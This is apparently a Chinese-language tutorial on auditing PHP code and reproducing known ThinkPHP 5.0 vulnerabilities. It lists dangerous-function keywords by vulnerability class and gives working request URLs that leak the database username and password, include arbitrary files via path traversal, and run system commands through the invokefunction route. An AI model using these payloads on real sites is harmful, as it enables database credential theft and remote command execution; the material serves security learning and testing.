代码审计-thinkphp历史漏洞挖掘
代码审计必备知识点:
1、代码审计开始前准备:
环境搭建使用,工具插件安装使用,掌握各种漏洞原理及利用,代码开发类知识点。
2、代码审计前信息收集:
审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等。
3、代码审计挖掘漏洞根本:
可控变量及特定函数,不存在过滤或过滤不严谨可以绕过导致的安全漏洞。
4、代码审计展开计划:
审计项目漏洞原理->审计思路->完整源码->应用框架->验证并利用漏洞。
代码审计两种方法:
功能点或关键字分析可能存在的漏洞
-抓包或搜索关键字找到代码出处及对应文件。
-追踪过滤或接收的数据函数,寻找触发此函数或代码的地方进行触发测试。
-常规或部分MVC模型源码可以采用关键字的搜索挖掘思路。
-框架 MVC 墨香源码一般会采用功能点分析抓包追踪挖掘思路。
1.搜索关键字找敏感函数
2.根据目标功能点判断可能存在的漏洞
常见漏洞关键字:
SQL注入:
select insert update mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
evalassert preg_replace call_user_func call_user_func_array等
命令执行:
systemexec shell_exec ` ` passthru pcntl_exec popen proc_open等
变量覆盖:
extract()parse_str() import_request_variables() $$ 等
反序列化:
serialize()unserialize() construct destruct等
文件读取:
fopen file_get_contents fread fgets fgetss file fpassthru parse_ini_file readfile等
文件删除:
unlink()remove()等
文件下载:
download() download_file()等
通用关键字:
$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等
Thinkphp框架介绍
使用thinkphp框架的源码审计思路:
1.使用源码查看工具打开源码,全局搜索thinkphp确认源码是否使用thinkphp框架
2.源码如果没有按照thinkphp框架的代码规则来写,则不会触发thinkphp框架的过滤规则。按照常规思路测试即可
3.源码如果是按照thinkphp框架的代码规则来写的,则全局搜索THINK_VERSION确认框架版本信息,根据版本漏洞来测试。否则相当于在测试框架的0day。
案例:Thinkphp5.0版本漏洞复现
1.搭建好thinkphp框架,使用phpstorm打开源码
2.想要知道thinkphp准确版本信息,可以全局搜索:think_version
3.获取到版本信息,搜索查看此版本产生的历史漏洞
4.以上漏洞都是直接访问路由触发的。
复现第一个漏洞:获取配置信息
访问:?s=index/think\config/get&name=database.username 成功获取数据库用户名
访问:?s=index/think\config/get&name=database.password 成功获取数据库密码
复现第二个漏洞:包含任意文件
在public目录创建一个1.txt文件
访问:?s=index/\think\Lang/load&file=1.txt 包含1.txt文件
复现第三个漏洞:包含.php文件
根目录创建1.php文件
访问:?s=index/\think\Config/load&file=../1.php 包含1.php文件
复现第五个漏洞:远程命令执行
访问:?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=ipconfig
执行:ipconfig 命令
如果框架只爆出了漏洞基础信息,没有公开漏洞产生位置和利用exp,就可以尝试使用对比工具对比前后版本的更新差异来判断漏洞产生位置。实现挖掘1day。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。